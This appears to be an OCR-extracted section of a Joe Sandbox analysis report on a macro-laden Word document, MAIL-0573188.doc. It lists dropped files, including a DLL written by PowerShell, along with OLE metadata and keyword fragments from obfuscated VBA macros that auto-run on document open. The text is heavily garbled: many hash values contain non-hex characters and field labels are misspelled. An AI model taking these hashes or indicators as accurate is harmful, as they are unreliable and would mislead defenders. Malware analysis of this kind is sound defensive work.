https://view.joesandbox.com/analysis/251957/html/none?idtype=webid
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251877/html/none?idtype=webid
https://view.joesandbox.com/analysis/251667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251667/html/none?idtype=webid
https://view.joesandbox.com/analysis/253251/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253251/html/none?idtype=webid
https://view.joesandbox.com/analysis/253241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253241/html/none?idtype=webid
https://view.joesandbox.com/analysis/253214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253214/html/none?idtype=webid
https://view.joesandbox.com/analysis/253068/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253068/html/none?idtype=webid
https://view.joesandbox.com/analysis/252875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252875/html/none?idtype=webid
https://view.joesandbox.com/analysis/252829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252829/html/none?idtype=webid
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid
https://view.joesandbox.com/analysis/252443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252443/html/none?idtype=webid
https://view.joesandbox.com/analysis/252400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252400/html/none?idtype=webid
https://view.joesandbox.com/analysis/252006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252006/html/none?idtype=webid
https://view.joesandbox.com/analysis/251765/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251765/html/none?idtype=webid
https://view.joesandbox.com/analysis/251226/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251226/html/none?idtype=webid
https://view.joesandbox.com/analysis/250967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250967/html/none?idtype=webid
https://view.joesandbox.com/analysis/250483/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250483/html/none?idtype=webid
https://view.joesandbox.com/analysis/250275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250275/html/none?idtype=webid
https://view.joesandbox.com/analysis/250185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250185/html/none?idtype=webid

Created /

dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1917291-551E-40AF-9919-E039C2A6E74E}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-
a87f-4a88-92ef-38744458171

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\rundll32.exe

data

dropped

46

1.0424600748477153

false

3:/IbWwWI:sZ

3B7B4F5326139F48EFAOAAES09E2FES8
209A1CE7AF7FF28CCD52AE9C8AB9DEESF2C1D57A
D47B073BF489AB75A26EBF82ABAODAB7A484F83F8200AB85EBD57BED472022FC
C99D99EAT71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786BE

false

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\MAIL-0573188.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Fri Jan 8 01:44:34 2021, length=170496, window=hide

dropped

2048

4.530199404833512

false

24:8i/XTwz61knLG6WeD6fDv3q8dM7dD2i/XTwz6lknLG6WeD6fDv3q8dM7dV:8i/XT3IkL408Qh2i/XT3IkL408Q/

4DF39A955577FBDA718F9D744D03D389

1F96596530013454CB944E4693228373D9BF8504

970267C26980A032F6BB5CB8D5FD612C80629BAE750CEF7098FA4C11B04C28F0
B4A840E49540EFADO8E21352CCC5F3F202099BBA18435B18893A17D7ACB27D1A3D2EE34CESFC3D95E61212C64FB84D3816CC9757987907033F0C4851399D53C

false

| EETTTOPRRN Fo.. .. [fef e 2N P.O. 0. #00.../C: N t1.....QK.X..Users. .......QK. X ..o, 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U.. Alb.us....z.1....Q.y..Desktop.d......QK.X.Q.y*. ....D.eskto.p.@.s.h.ell3.2.dlLl,.-2
.1.7.6.9.....j.2.....(R.. .MAIL-0~1.DOC..N.. .y.Q. .M.A.l.L.-.0.5.7.3.1.8.8...d.0.C..
0646\Users.user\Desktop\MAIL-0573188.doc.".....\.... \.D.e.s.k.t.o.p.\.M.A.l.L.-.0.5.7.3.1.8.8...d.0.c.
...8.-.1.-5-2.1-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............. ......X.......910646.......... .

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
ASCII text, with CRLF line terminators

dropped

74

4.3607066630908955

false

3:M15s5pzAXCwW/AXCmX15spzAXCv:MMpEKUpEc
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

76E48FC73FE7372631FFFC13033A5895

3F72CAC7C77D9A1647FES86EGEDA4FEB914349C28

ADE4E1003850612E9367818208AE5BD93DADFAFE4E7ASDFBA12969AB807BE6GOC
A50068261A09A9A220627DCA913E255B1CF7DF275DC884D8B898A91E66C28DIE781DF4A009CD82364D3734852FFE390BCC865824B65EBAB66B2184A393F3763(

false

[doc]..MAIL-0573188.LNK=0..MAIL-0573188.LNK=0..[doc]..MAIL-0573188.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSET ettt Alb.us...... Peeeeenn Mt M P/l MNieZsed Mo Xeen

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\20G6ZLCGULCSH5TY8WGA.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5848677611288466

false
96:chQCsMqg2yqvsqvJCwomz8hQCsMq2yqvsEHyqvJCworczkKY2PHFf8R/MIUVolu:cykomz8ywHnorczkOf8R4Iu
975DDE3BEB992D275DFD4DD1F527950A

14DCBAG9A937054538AFBB71BEC3B98CDID80FB8
254E0DC72C97BCF7AC365492C16C07DF602BE3D408DD827276282F50C4A0EFB4

100E34A41FF78016C4728DBB19B5D5980C5B9619CCFE145F06A0D4D17C33AC4766BF3CFB8483686163AFCBD532DB0639A31E22D8C1A9D7FC355C3E97B4FFET
4

false

M..cros.oft....R1..wJ.. Windows.<.......wJ;.* W.i.n.d.o.w.s.. ((

@....S.tart. .Me.n.u..@.s.hell3.2.dll,.-.2178.6...~1...Pf.Programs..f.... ..Pfx <...Pro.grams..@.s.h.e.l
LwIrfo...........B..Acc.cesss.ories.@.s.h.ell3.2.dll,.-2.17.6.1....}1...." .WINDOW~1..R........,..""*.......
., \WINDOW~2.LNK..Z.........,.0

gram.D.ata
.STARTM~L1.j

...W.in.d.ow.s. .P.ow.e.r.Shell..v.2.k.

C:\Users\user\Desktop\~$IL-0573188.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSET ettt Alb.us....... Peeeeenen M M P/l MNieiZsend Mo X

C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dlIl

Process:

File Type:

Category:

Size (bytes):
Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
data
dropped
196317
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C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dlIl
Entropy (8bit):  7.475350289212884

Encrypted: false

SSDEEP: 3072:CbwbpDnn9FdrNyVBYFOn3ajFg4weCp2S2MJdhzybMO8dSySA:Chsl9FdaBYFOnVp2MJIHybR8dS9

MDS5: 3771989E5967540F6AABFD211CCFA9F1

SHA1L: 8C4B4D489EC21BOF8F7613E767E248F511257F61

SHA-256: F3ABE22AF9D7C859F8CACCIAE43155CE6GEDAC05579FC7C8F195FB91D4C0OD3B22

SHA-512: 9DD2011907FE42D47AD7867D405EB18FD4906B63E600DEEC36C4351DBA363E88915638B74FB2172AC7F7DB90687BEB36358A13A0365F0DFF8F8F93C66A21425!
Malicious: false

Preview:

<IDOCTYPE html>. [if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]>
<html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <l![endif]-->.<head>.<title>Suspected phishing site | Cloudfl
are</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,c
hrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="
cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection” />. [if It IE 9]><link rel="stylesheet" id="cf_styles-ie-css' href="/cdn-cgi/styles/c
f.errors.ie.css" type="text/css" media="screen,projection” /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

Static File Info

General

File type:

Entropy (8bit):
TrID:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "MAIL-0573188.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:

Contains Word Document Stream:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False

True

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Argentina Pass Adaptive transitional override payment
haptic Handcrafted Cotton Towels, Author: Jade Cleme
nt, Template: Normal.dotm, Last Saved By: Jade Mor
eau, Revision Number: 1, Name of Creating Application:
Microsoft Office Word, Create Time/Date: Tue Jan 5
10:15:00 2021, Last Saved Time/Date: Tue Jan 5 10:15
:00 2021, Number of Pages: 1, Number of Words: 2640,
Number of Characters: 15049, Security: 8

6.7084953616032434

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

MAIL-0573188.doc

169983

7ad5e41d03b2dfe72af417fa5b0cc164
2a6c0fa93aba9ce560d271ce65d79db69422fc6e

2d6cbcbe803638a13705a3b26afb3b34b72bc586012155
66baB858c62882b8e61

83bc8a65c0316660f42a6d3cd4ed7e7432dd939ffa4b408
f1f40d59cf2c7a842271a19b21308d5bc56de0ff382b9db7
e8e05ff159e332588e02ca50b762a4ca8

3072:4D9ufstRUUKSNs8T00JSHUgteMJI8qMD7gm:4D9
ufsfglfOpLm

Page 21 of 53



Indicators

Contains Workbook/Book Stream: False
Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False

Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Title:

Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: A5gd21klfqu9cérs, Stream Size: 1117

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Customizable
VB_Predeclaredld
VB_GlobalNameSpace

Copyright null 2021

True

1252

Argentina Pass Adaptive transitional override payment haptic Handcrafted Cotton Towels

Jade Clement

Normal.dotm

Jade Moreau

1

0

2021-01-05 10:15:00
2021-01-05 10:15:00
1

2640

15049

Microsoft Office Word
8

-535
125
35

False

False
False
False

917504

Macros/VBA/A5gd21klfqu9c6rs
A5gd21klfqu9cérs
1117

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 49 85 f4 e6 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
VB_Base
VB_TemplateDerived

VBA Code

VBA File Name: Owppnp8hah4xo0788, Stream Size: 17915

General

Stream Path: Macros/VBA/Owppnp8hah4xo788

VBA File Name: Owppnp8hah4xo788

Stream Size: 17915

Data ASCII:

Data Raw: 01 16 01 00 00 fO 00 00 00 7c 06 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 83 06 00 00 a3 30 00

00 00 00 00 00 01 00 00 00 49 85 65 07 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA Code Keywords

Keyword

DpYbmDA

oAaNIB

vrYYHIDxI

WTbkNgFa

Object

RjiQHRA
"bBmgOCVPP0ojGGC"
MNihxICY
DhnHIY.CreateTextFile("rfylZCD:\OrugCDDGG\gkyWDBUAH.gjwVDBALW")
GfRPP

tWcKo

OMZxxg

"lwWhZGEasjsS"
"deVdMyoREdgzCaJb"
fDZVKAAC:
uWzZkeMFv.WriteLine
xLQtMd

nleaHR

gEcrV:

"OyFBLhIWUND"
uWzkeMFv.Close

XsruLB

zDsRalBGF

mgrwfmN
"XZzpBRpDKuUMgsGHIHF"
"VrVKCijefslJ"
pULquU.CreateTextFile("OMySJHB:\AyVGIHz\V\|PNIAFF.VJueCC")
SblcDCC:

SQQWY
"hbtzZFRIEXyDCXI"
iIFTmFHFH.CreateTextFile("shCgAEb:\vCjFDhHUA\RhZGDG.mHWOGnIf")
sCOIGDtD:

gxBPJB

jbumDI
DkLoDL.CreateTextFile("pGMMG:\enlVVB\fMqiFP.kEIECDZHZz")
"BnxHFzJCGhVHrFIm"
IcCAHWPH

IFTmFHFH

STzBjwICv

kwzjKvZHe
fDZVKAAc.WriteLine
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Keyword

plgkuDI
RyDBDK.CreateTextFile("YJYLANEDp:\gjyoGCI\dkSAD.MSPmMBF")
ZMdrVHGz:

SeHafBC

nhLeJMLl

EISYDDB

EhCMG

UDSpFHgFJ

WIBWDXGD

"NisSEYrcDIKQUITa"

"dXFPCSYtSNB"

"NeilGCNWwgICn"
OMZxxg.CreateTextFile("QWJEKJINW:\BQVnVKF\gWdSBXA.TabDJBD")
mgrwfmN.Close

YVZXECEHD

FLtYjKHC

GfRPP.Close

idbaDlIr

"dnUnKFHAKIOdD"

"nJJIzFRJEWpRikxCD"

ANzGyzCD

MmSDYCkJR

"hKlajOujwgDFAA"

"eeVVJIBMGIcfXMB"
RgIOZAHRJ.CreateTextFile("HQGixyC:\WVETCeBG\zIuEqsGG.NobmDA")
iHKuDmakr:

"CcDmCIHsnCC"

"UjBKOEDRIbiWFB"

QOrvJEB

"sxbwAfRtWJI"

UskmBJF

"KqVyuQQfwTwh"

tpOgXmm

fiyQuIiRBI

gphNDVZp

VEBgHrDnD

PbhYVsA.Close

ZMdrVHGz.Close

"VWbVIHCFGEAJJ"
CFdSBD.CreateTextFile("HWdKFJOBf:\UYigcElJ\rLoNox.YKOSA")
KmGOADt

Resume

phlwFD

jPJENIO

AIRAGDAJ

KmGOADt.Close

“Jan"
PnolTIbAB

"eEWdaDQVJJqTHgF"

gxBPJB:
eepvDEaE.CreateTextFile("KlvicF:\bJfMJIhgw\dAgvkWD.xDxpHH")
FYVZFEH

tzErBRFe

"LvnHAGHfIhRDBRAF"

NuebA:
sTzDC.CreateTextFile("OBoYzRpef:\sDLuJ\bmIQSG.MdmDR")
oQgLUI

SblcDCC.Close

HCvCmAcHC

"eXpjHFapHaPdRJu"

eepvDEaE

"DBVMcNtCcMyJDDI"

MHYIQAD

"eklulEBJFIgoBcGC"
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Keyword

dXiwA

"MiCjaGqJfPrl"
eClzUDyJ

RyDBDK

hFSyAfFrF
"fDdPHEBENAdZgZFJ"
zxgLHJSFW.CreateTextFile("KGGMcAB:\uaMWhFR\mhdIDIEH.PDxHAHD")
"MxCpGaGqBgemCAFEJ"
PcHRGIADo.CreateTextFile("OiBXGJB:\pnqsZEDV\gsZoAW.EePnB")
sCOIGDtD.Close
uWzkeMFv

gzTFLxb

lePCGy

swNGWwdd
gHKYGHIFA
OIbfvEEFF
CHVmavC
ZMdrVHGz

TXmxvp

quDoH
iHKuDmagEr.WriteLine
KXTIE

ddanFDWJf

rJEKbLH

fNhiCVgGS:

noeblvSiu

YZllAeRe

VB_Name
"eXObOTIBAITEOI0"
mgrwfmN:

LzxxRHG

inlcjJtaF

EKmLA

uvIticiCB
mgrwfmN.WriteLine
KXwaABT
fDZVKAAc.Close
Mid(Application.Name,
fmwdEMADQ
IBenBDA

ShlcDCC

mgTNFCq
NuebA.WriteLine
hXxQDACJA
KmGOADt.WriteLine
HCvCmAcHC.Close
yJmmmVIAG

rYbgBh:
iHKuDmakr.Close
NuebA.Close
hZCth.CreateTextFile("fYRUCAB:\VWWOMB\QmLUE.hKgcGBDCJ")
ZMdrVHGz.WriteLine
OlapGi
zDsRalBGF.CreateTextFile("NFKilDO:\sBRplz\FFgJD.QevLKGfGs")
"CVbRCAAhkhmcDG"
HCvCmACcHC:

BNmrm

rYbgBh
"WNFUDvHgghFdup"
uRnNkDGJ
"giXBsMBsLIGbX"
yabVbA

zBSWCKmJv

bbsl|Z
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Keyword
"zdTcdOoXXUFHJIK"
xsruLB.CreateTextFile("EEnWBhBO:\VaTRC\McdbPkJ.cvwiQ")
RqIOZAHRJ
fNhiCVgGS.WriteLine
hjzwD
"EgxfIDVQbJotWhj"
"BUUJYAAI0JVLBLAO"
PcHRGIADoO
WTMSLYWFG
sCOIGDtD

PbhYVsA:
"BndJDkuVYF"
KmGOADt:
"RhnJRGeBNASBQHHGF"
anyPG

"JTSPCDjykfL"
sreXHFD
"XrrAwQZPjqgB"
hoyzuBGCP
UavHTIBHo

gAUhkIMz

EKezHIC

PjNhINA

GznGGHyG
UwyYSBsBN

ORLICII

cwsTFPCH

"lanw(["

drZcHkCm

hDJDJ

NXbmluHX

Function
"syYTHJShrguhzb"
AioOpBFE

xiFRA
fmwdEMADQ.WriteLine
gxBPJB.Close
NZiApKAp
gEcrV.Close
"mehEFPFHcklgIDDx"
iHKuDmaEr

pULquu
SblcDCC.WriteLine
pkixJADG:
xkQqDXCcD

GIAKA
"TubioGUTLadgXbA"
"anBQXljzGenE"
xLQtMd.CreateTextFile("RyteBIQC:\fuQXAW\oueKCbIJ.WivEYJD")
fDZVKAAC

ecGmY
"ptABFEZDmkMVIeD"
"TBKmUCEXTUIGU"
"fxSJajCGIWUEBW"
rYbgBh.WriteLine
DhnHIY
sCOIGDtD.WriteLine
tAMQHXID
tzErBRFe.CreateTextFile("RcEcpl:\TGSCXLC\hxAZEBGHI.oETVAF0")
"wypNISsWSXthFJCq"
eLmLDU

JENfzNH
gEcrV.WriteLine
Nothing
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Keyword
"UTtCAFWHpCGF"
PbhYVsA

gEcrVv

NuebA
"aqGiHISIbAoabV"
fNhiCVgGS.Close
jSYAGBJAF

RhztCF

IADFBaJ
FUyIHBDFz

sPklwu

ViWsSIH
gxBPJB.WriteLine
zZuzBZGD
pkixJADG.WriteLine
MznOjBB
fmwdEMADQ.Close
sTzDC
"oLweAMoGsqVE"
diCXTi
GfRPP.WriteLine
Error

uWzkeMFv:

xPBGH

Attribute

sySRJ
"WLXLInjItPGPZJ"
"JMgUDAIEJIgyNBH"
jzgBIGW

CFdSBD
pkixJADG.Close
ibliBF
"gDaYIDDSZQMTaO"
pkixJADG

GfRPP:

LQqIBAHD

dLRiF
"ImJJdfAtdFHCh"
PbhYVsA.WriteLine
DkLoDL
RjiQHRA.CreateTextFile("CxQnJUo:\GongJKJ\vntyZl.ugzmBCOCC")
fNhiCVgGS
fmwdEMADQ:
rYbgBh.Close
zxgLHISFW
HCvCmACHC.WriteLine
hzCth

VBA Code

VBA File Name: Zdjtk46nm17voo, Stream Size: 701

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

Copyright null 2021

Macros/VBA/Zdjtk46nm17voo
Zdjtka6nm17voo
701

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 49 85 8d 23 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o0.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \xX5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5Summarylinformation, File Type: data, Stream Size: 508

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6412

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
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\x5DocumentSummarylnformation
data

4096

0.280929556603

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

508

3.93936573804

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 19 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 cc 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 6¢ 01 00 00 04 00 00 00 54 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00
00 00 d0 00 00 00

1Table

data

6412
6.14518057053

True
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General
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99192

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99192
7.3901039161

True

7883 01 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 524

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 149

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5216

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
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Macros/PROJECT

ASCII text, with CRLF line terminators
524

5.52955915132

True

ID="{916F7B91-5D2F-42FE-85A0-A510EE157034}"..Docume
nt=A59gd21klfqu9c6rs/&H00000000..Module=Zdjtk46nm1l7vo
0..Module=Owppnp8hah4xo0788..ExeName32="Fb5d3bh__ke
_cw4p77"..Name="mw"..HelpContextID="0"..VersionCompati
ble32="393222000"..CMG="2426EEC516FE1AFEL1AFE1AFE1

49 44 3d 22 7b 39 31 36 46 37 42 39 31 2d 35 44 32 46 2d 34 32 46 45 2d 38 35 41 30 2d 41
